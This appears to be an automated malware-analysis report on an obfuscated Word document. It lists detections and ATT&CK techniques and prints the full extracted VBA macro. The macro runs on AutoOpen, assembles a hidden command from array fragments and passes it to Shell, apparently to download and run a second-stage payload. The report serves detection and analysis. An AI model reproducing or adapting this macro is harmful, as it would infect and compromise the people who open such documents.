MALICIOUS
170
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is an OLE document containing obfuscated VBA macros. A critical heuristic indicates a potential Shell call within the VBA code, and ClamAV also flagged it as malicious macro obfuscation. The presence of the 'AutoOpen' macro suggests automatic execution upon opening. The VBA code is heavily obfuscated, making it difficult to determine the exact payload, but the intent is likely to download and execute a second-stage payload.
Heuristics 6
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ClamAV: Doc.Macro.Obfuscation-6394109-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Obfuscation-6394109-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
rqebenc = Array(an & py & bo7 & a7 & sn & i & u0 & e7 & r & uft & oh7 & of & l4 & szu6 & g & a & ws9 & jma & qqu & i0 & a4 & isr8 & ecm3 & r1 & im & g4 & avb & sdu9 & gm & ohk & af2 & w4 & c7 & e3 & x & m0 & ec & iw & dxy & zi8 & o1 & kji & dca & xs & b4 & sxa & wky8 & bto & i8 & a0 & q5 & qju & ob & al & pko0 & gbe6 & or6 & cy & e2 & w & by5 & oz0 & afn9 & uc & e6 & fte & vp & ls & m1 & ol4 & ofx & bi7 & k5 & tf0 & ge & u & E & exr & uhs & o & yzx & cwo4 & u2 & wby & td & zq & n9 & ab3 & fry & … Shell rqebenc, mgyvqip End If -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() yfmyh -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12115 bytes |
SHA-256: 00c3ef95ccab13cc31f2a4367c68f1a81e3520973558d9d2bd7fcc2b7701ea46 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub yfmyh()
a7 = Array(2640, 9113, 4506, 8930, "E ", 6116)(4)
bu = Array(6059, 6178, 2622, 9180, 331, "HY", 4884, 7001, 4625, 5944, 2592, 1503, 6865)(5)
b0 = Array(9160, 8632, 1683, 9242, 8123, 6530, "S^", 8346, 9762, 5733, 1066, 887, 6289, 8681)(6)
p = Array(1783, 2555, 6251, 8158, "PP", 7542, 7834, 5651, 1539, 5293)(4)
dxy = Array(4346, "^R", 9240, 1680)(1)
bto = Array(2445, "^I", 7640, 1511, 461)(1)
yc0 = Array(9638, 806, 7527, 3605, 4918, "np", 1814, 7276, 5501, 3286)(5)
uhs = Array(".W", 8519, 745, 8483, 6095, 5577, 4965, 9526, 7888)(0)
tc1 = Array(7303, 8735, 8009, 3730, 1140, "q.", 5442, 8384, 827)(5)
exr = Array(7244, "Et", 9625, 6852, 8952)(1)
o = Array(3698, 5435, 5371, 8879, "EB", 6432)(4)
gbe6 = Array(5429, 3566, 9236, 4583, 2472, 5190, " ")(6)
ab3 = Array(547, 4435, 9084, 6660, 8382, "NL", 4435, 5458, 7705, 7466, 4861, 6609)(5)
sxa = Array(" -", 3749, 8611, 386, 7086, 8414, 1093, 7150, 2980, 173, 7352, 1132, 4915, 6475)(0)
ytj9 = Array(1505, 9960, 4927, 1905, 444, 7231, 483, "c/", 7725)(7)
r1 = Array(8002, 297, "lI", 4249, 3983, 4785)(2)
i8 = Array(943, 8911, 5380, "N^", 1529, 4745)(3)
qa4 = Array(4491, 8907, 3301, 8970, 9062, 6160, "I^", 1015)(6)
tf0 = Array(8645, 6168, 3139, 8427, "sT", 1306, 5128, 3941, 5257, 9048, 8854)(4)
wh = Array(8141, ".E", 8524, 4303, 7454, 2959, 3420, 5426, 1813, 3248, 2809)(1)
afn9 = Array(6227, "^(", 1714, 861)(1)
isq = Array(6898, 8589, 2123, 1057, 3522, "f^", 4439)(5)
o1 = Array(413, 8529, 6646, 5340, 2876, 5886, 6920, 2081, "f^", 4066, 2920, 5641, 4011, 7383)(8)
qju = Array(3351, 2683, 2063, 2240, 8869, "ST", 9124, 1490)(5)
y0 = Array(5877, 9886, 3582, 7992, "ex")(4)
u0 = Array(8198, 4313, 6001, 5020, 9184, 8887, "Po", 4930, 9906, 2967, 9621, 2375, 6508, 6607)(6)
or6 = Array(7695, 4741, 848, 4132, 3134, 3427, 1326, " ")(7)
kji = Array(1780, 5710, 3170, 4598, 7932, 8144, 5694, 7797, "Il", 4350, 6008, 6326, 997)(8)
ol4 = Array(5666, 9293, 9947, 6028, "^c", 7163, 2161, 648, 8142, 371, 6520)(4)
k5 = Array(6300, 1880, 3623, 6897, 4986, 1847, 3555, 2024, 4294, 3858, "sy")(10)
cy = Array(7612, 2093, 3866, 1240, 8685, 9570, 4982, 8534, 7265, "^H", 9624)(9)
an = Array(5383, 8041, 8976, 2578, 1392, "Cm", 7719)(5)
o2 = Array(2795, 4092, 7140, 7193, 3279, "ht")(5)
ih = Array(3234, "XE", 1050, 3671, 6687, 237, 6325, 366, 6771, 5003, 9098, 9423, 1507)(1)
E = Array("^N", 7124, 8220, 1173, 5464, 7487, 7575)(0)
yzx = Array(8306, "^c", 7524, 5610, 1143, 9300, 8996)(1)
el0 = Array("a%", 2638, 3553, 9187)(0)
wp = Array("'%", 2488, 4270, 4552, 8122, 4728)(0)
cwo4 = Array("LI", 3354, 848, 4910, 2879, 5665, 4797, 7882)(0)
oh7 = Array(7159, 6528, 6734, 4495, 4592, 8644, 2371, 4405, "eL", 7451, 4836, 4805, 584)(8)
pko0 = Array(1995, 681, 314, 3258, 1991, 999, "^ ", 999, 6436, 8392, 2678)(6)
r0 = Array(2741, 1593, 7978, 6622, 5882, 5697, 5600, "te", 9809, 4123, 2105)(7)
ohk = Array(2227, 5978, "YP", 7882, 5233, 7725, 2154, 6373, 9899)(2)
t2 = Array(1675, 8617, ");", 9048, 5025, 6930, 127)(2)
fte = Array(8503, 9353, 9502, 6065, 2112, "-^")(5)
avw2 = Array(5033, 3263, 9480, 7242, 6993, 239, 5907, 5128, 8671, "Ap", 1904, 6964, 9371, 4292)(9)
nva = Array("S^", 7781, 8891, 9315, 8135, 1113, 4738, 1997, 7403, 4131, 6465, 6068, 6408)(0)
wha = Array(6282, 4905, 8519, "Ta", 3853, 2790, 6127, 3665, 2066, 4332, 6843, 8003)(3)
g4 = Array("^y", 8868, 2348, 1784, 1120, 6489, 9686, 1318, 738)(0)
mju = Array(380, 5311, 3859, "EX", 8284)(3)
isr8 = Array(4588, 9611, "On", 2926)(2)
b4 = Array(" ", 8151, 4842, 9123, 5522, 4023, 1639, 1105, 9828, 5737, 2299, 8803, 4433)(0)
z8 = Array(154, 2906, 1694, 6885, 453, 3001, 2685, 7911, 4229, 8207, 7726, 8266, "/p")(12)
cj = Array(6179, 430, 8359, 5782, 8327, 7381, "zc", 5630, 8381)(6)
uc = Array(6794, 836, "N^", 7561, 2759)(2)
itg = Array(6871, 242, 4796, 5254, "d^")(4)
ob = Array(4501, 6584, 3751, 3525, 372, 2390, 3598, 4550, "^y", 1362, 1410, 785, 7741)(8)
gd = Array(189, 4279, 1820, 1105, 8258, "('", 7349, 4151, 6464)(5)
aw8 = Array(8373, 6238, 3390, "aa", 3351, 5682, 9693, 3390, 4405, 1449, 3981, 4388)(3)
c7 = Array(6475, "S^", 458, 474)(1)
y = Array(5692, 1300, 3348, 6415, ":/")(4)
ont = Array(9812, 9276, 8205, 3277, 6036, 3537, 5070, 6801, 1514, "dA", 8920, 2712)(9)
wky8 = Array(3393, "^W", 6810, 9332, 686, 5833, 830, 246, 6403, 4479, 8758, 6690)(1)
ekd6 = Array(5352, 651, 1359, 4714, 4506, 9655, 4436, 2530, "l/")(8)
s = Array(8177, 6997, 5830, 4684, 1092, "bo", 8104, 229, 4977)(5)
h = Array(679, 8374, 1223, 5369, 4734, 8427, 4104, 2744, 2157, 5145, 8086, "e'")(11)
ecm3 = Array(7887, 2999, 2829, 3094, 4450, 473, "pO")(6)
of = Array(1351, 9086, 8640, 7797, 763, 3963, 341, 3278, 394, 8589, 9599, 7453, 5118, "L^")(13)
mg = Array(3502, 6789, 2761, "tp", 3592)(3)
ij = Array(3174, 2948, 9919, 3866, 7941, "ep")(5)
im = Array("^c", 9418, 5063, 4188, 9151, 2950)(0)
qo = Array(3996, 7459, 7379, ",'", 7478)(3)
jy8 = Array(2174, 7365, 5347, 501, 6988, 3367, 7776, 1636, "AR", 8217, 5179, 8124, 379, 7821)(8)
vp = Array(3208, 6094, 1452, 2094, "Ob", 7442, 728, 1642, 7436, 2407, 9252)(4)
oz0 = Array(" ", 9277, 6737, 421, 7501, 4632, 8476, 2992)(0)
xi9 = Array(4311, 9775, 1856, 9803, 6470, 7285, 4303, 198, 5741, 7258, 5539, ".p", 1063, 1864)(11)
wge6 = Array(6204, 1223, 1462, 947, 3507, 3034, "/s", 7949, 6910, 9723)(6)
a4 = Array(2951, 4436, 2744, 5018, 5054, 9556, 3096, 5207, 1551, "TI", 7643, 5451, 9553)(9)
d = Array(2810, 5280, " ^", 8139, 4043, 1225)(2)
r = Array(5998, 1037, 1206, "R^", 5904, 3905)(3)
ny0 = Array(4404, 7873, 7331, 3802, 2268, 6491, 2434, " ", 3851, 5734, 557, 382)(7)
t0 = Array(1847, 6831, "rJ", 7546, 1406, 5799)(2)
ge = Array(5508, 508, 8339, 9266, 6501, "E^", 9468, 8994, 5955, 7478, 719, 5934, 4432)(5)
ec = Array(5810, 5682, 8799, 6653, "n^")(4)
bo7 = Array(9410, 9826, 1963, 3187, 5850, "eX", 1195, 4881, 1746, 9559, 2295, 5240, 1647)(5)
ejl4 = Array("%.", 2984, 3296, 3413)(0)
x8 = Array(4311, 3134, 1895, 356, "Pr", 7657, 9022, 2247, 4355, 3614, 9386)(4)
af2 = Array(8586, 8257, 7959, 954, "a^", 5606, 2135, 9551, 237, 7689, 6361, 3072, 1311, 970)(4)
ztu = Array(7402, 6588, 2161, 2742, "t^", 2388, 7557, 1063, 3762)(4)
a3 = Array(1222, 1615, 3267, "te", 4661, 8979, 9350, 9606, 3379, 4884, 1839, 4308)(3)
i = Array(5187, 4032, 1965, 5301, 4148, 8836, 7429, 2086, " """, 1477, 6543)(8)
q5 = Array(5633, 4378, "ow", 7677, 7062, 9024, 3788, 8638, 172)(2)
sdu9 = Array(9521, 8606, 1468, 5525, 3105, 1847, 4271, 1240, 2273, " ", 7621, 1504)(9)
hw1 = Array(8729, "us", 320, 7723, 8594, 3595, 7661, 6401, 1789, 1386, 8874)(1)
n9 = Array(9402, 8904, 2817, 4448, "oW", 611, 5187, 2815, 9893, 4713, 8820, 8069, 4650, 3412)(4)
x1 = Array(1124, 656, 7715, "es", 1016, 6785, 5828, 9530, 2969, 5084, 7147, 6830, 5896, 1602)(3)
td = Array(7780, 704, 9581, ")^", 9686, 5045)(3)
ut = Array(6349, 460, 954, 2345, 2989, "s/", 9568, 4354, 7148, 396, 7304, 4844)(5)
gh0 = Array(9687, 3915, 4802, 3168, 2342, 1161, 9716, 5330, 6400, 5716, "UN")(10)
w = Array(1035, "D^", 8654, 3012, 9620, 8224, 7894, 8155, 5490)(1)
avb = Array(" ", 1273, 2868, 5327, 5361, 2020, 8178)(0)
nq = Array(5489, 2119, "At", 3353, 9313, 4434, 9116, 7972, 8854, 9828, 7382, 526)(2)
sn = Array(4970, 2985, 9910, "/c", 821)(3)
g0 = Array(1491, "%a", 697, 3465, 6760, 5332)(1)
la = Array(4498, 9187, 6122, 3237, "LE", 2477)(4)
f9 = Array(1661, "'""", 1785, 6536)(1)
fry = Array(4635, 4158, "oa", 4933)(2)
y1 = Array(2452, 5331, "PD", 704, 1372, 7939, 9967, 7827, 2973, 3231, 7307)(2)
szu6 = Array(9788, 8011, 1608, 182, 6600, 1207, 7535, 1719, 7441, "xe", 9384, 1329)(9)
x = Array(9496, 2925, 4242, " ^")(3)
gm = Array(8934, 4946, 2367, "B^", 7349)(3)
s8 = Array(9612, 4058, 277, ".p", 6949)(3)
ofx = Array(1387, 5319, 3898, "^t", 696, 3206)(3)
a = Array(444, 9137, 493, 527, " ^")(4)
vwo = Array(3960, 911, 4455, 522, 6544, 5071, 7221, 7798, 4399, 5023, "Oc", 4254, 8286, 9234)(10)
u = Array(2960, "m.", 6848, 6964, 2008, 5703, 8682)(1)
e7 = Array("wE", 4326, 6674, 2063, 869, 3167, 2370, 3429, 1269)(0)
l4 = Array(8721, 2913, 2933, 5889, 7200, ".e")(5)
zi8 = Array("^o", 5368, 4862, 6131, 4815, 4526, 3302, 8184, 7498)(0)
e6 = Array(1815, 5130, 4201, "Ew", 6740, 1358, 5815, 7501, 9440, 7195, 8885)(3)
jma = Array(5082, 6568, 191, 6208, 5454, 536, 5345, 5847, 963, "^x")(9)
udc = Array(8722, 9954, "-^", 1242, 9002, 7776, 1656, 6838, 6561)(2)
ka = Array(1103, 5201, 4658, 6509, 6679, 7908, 6045, 4623, "t^", 7226)(8)
ls = Array(6752, 6045, 9898, 7682, 3297, "^j", 263, 2021, 2263)(5)
amk = Array(3454, 6171, 9865, 3374, "pa", 9938, 7806)(4)
bi7 = Array(6881, 1997, 624, " ", 8943, 2546, 8666, 9214, 8967, 9782)(3)
c = Array(8907, 4798, 9508, 4605, "la", 398, 9318, 8628, 2403, 6661, 5996, 2628)(4)
py = Array(2088, 4851, 9115, 8565, "d.", 3169, 2715, 2115, 7821, 5669, 6985, 6568)(4)
u2 = Array(3560, 7599, 1804, "E^", 4194, 7629, 6672, 8019, 4305, 2006, 4440, 2126, 2782)(3)
mgyvqip = False
m1 = Array(3073, 5652, 6601, 4615, 3088, 8908, 3868, "^e", 3697, 3874, 1887, 2809, 8093)(7)
jno = Array(884, 4433, 2925, 3844, 9799, "4f")(5)
uft = Array(2565, 499, 3132, 9139, 2462, 3902, 2307, 4733, 7232, 3476, 7791, 9732, "sH", 9526)(12)
a9 = Array(".c", 4169, 5915, 153, 3832, 5592, 6695, 5528, 4500, 3728, 8456)(0)
w4 = Array(4474, 5042, 2724, 7720, "s^", 5107, 7135, 9675, 7482)(4)
o3 = Array(4253, "wl", 2375, 179, 5703, 9499, 9692, 9662, 9677)(1)
wby = Array(4152, 8401, "NT", 1174, 9499, 2612, 1948, 6696)(2)
efg1 = Array(8172, "mp", 3919, 183, 3539, 7464, 6183)(1)
lo = Array(9038, "ba", 9890, 9065, 827, 1277)(1)
a0 = Array(7506, 5422, "d^", 673, 7559, 3178, 6543, 8645, 5750, 8888, 6286, 7161)(2)
by5 = Array(4236, 6252, "eN", 9642, 3954, 3385, 9179)(2)
e3 = Array(8442, 9405, 2382, 1167, 7126, 7390, " ", 8202, 6801)(6)
dca = Array(8373, 239, 3685, 5761, 8920, "^E", 7371, 9181, 2516, 5582, 5904)(5)
g = Array(5395, 9756, 4764, 4412, 7447, 3484, "^ ", 2991)(6)
pu = Array(4417, 2883, "kl", 321, 214, 1563, 2608, 3052, 7336, 8074, 9053)(2)
zq = Array(4592, 1879, 3229, 8644, 281, 4303, 8143, 2793, 6152, 4839, 7723, ".D")(11)
lm7 = Array(341, 8798, 7769, "Xb", 2583, 9860, 7486, 7814)(3)
ags5 = Array(3135, 9874, 288, 8302, "eA", 515, 415, 6155, 8868, 4672, 2214, 5047, 7194, 1395)(4)
e2 = Array(3764, 9125, "Id", 3323, 6665, 9717, 7133, 9536, 5738)(2)
al = Array(3233, 1945, "Le", 4375, 3491, 8210, 9031)(2)
iw = Array(5541, 7497, 9852, 6127, "OP", 9446, 9663, 7170)(4)
qqu = Array(760, 3568, 437, 8359, 7045, 9045, 5814, 5286, "^e", 2166, 717, 6912)(8)
ws9 = Array("-E", 3832, 6013, 3412, 7698)(0)
ebw = Array("E'", 5422, 3862, 6389)(0)
i0 = Array("CU", 780, 3448, 5848, 1643, 4432, 3197, 469, 2774, 9389, 6543, 9602)(0)
xs = Array(1469, 398, 3249, 2367, 1647, "^ ", 2352, 9051)(5)
m0 = Array(1143, 4022, 3408, 6074, 1363, "-^")(5)
If VarType(ActiveDocument.MailMerge.State) = 3 Then
rqebenc = Array(an & py & bo7 & a7 & sn & i & u0 & e7 & r & uft & oh7 & of & l4 & szu6 & g & a & ws9 & jma & qqu & i0 & a4 & isr8 & ecm3 & r1 & im & g4 & avb & sdu9 & gm & ohk & af2 & w4 & c7 & e3 & x & m0 & ec & iw & dxy & zi8 & o1 & kji & dca & xs & b4 & sxa & wky8 & bto & i8 & a0 & q5 & qju & ob & al & pko0 & gbe6 & or6 & cy & e2 & w & by5 & oz0 & afn9 & uc & e6 & fte & vp & ls & m1 & ol4 & ofx & bi7 & k5 & tf0 & ge & u & E & exr & uhs & o & yzx & cwo4 & u2 & wby & td & zq & n9 & ab3 & fry & itg & isq & qa4 & la & gd & o2 & mg & y & wge6 & pu & ij & s8 & amk & o3 & hw1 & a9 & lo & xi9 & ekd6 & s & yc0 & aw8 & ytj9 & r0 & efg1 & c & a3 & ut & jno & gh0 & t0 & lm7 & z8 & cj & bu & ags5 & tc1 & y0 & h & qo & g0 & p & ont & wha & ejl4 & mju & ebw & t2 & nva & ztu & jy8 & ka & udc & x8 & vwo & x1 & b0 & ny0 & d & wp & avw2 & y1 & nq & el0 & wh & ih & f9)(0)
Shell rqebenc, mgyvqip
End If
End Sub
Sub AutoOpen()
yfmyh
End Sub
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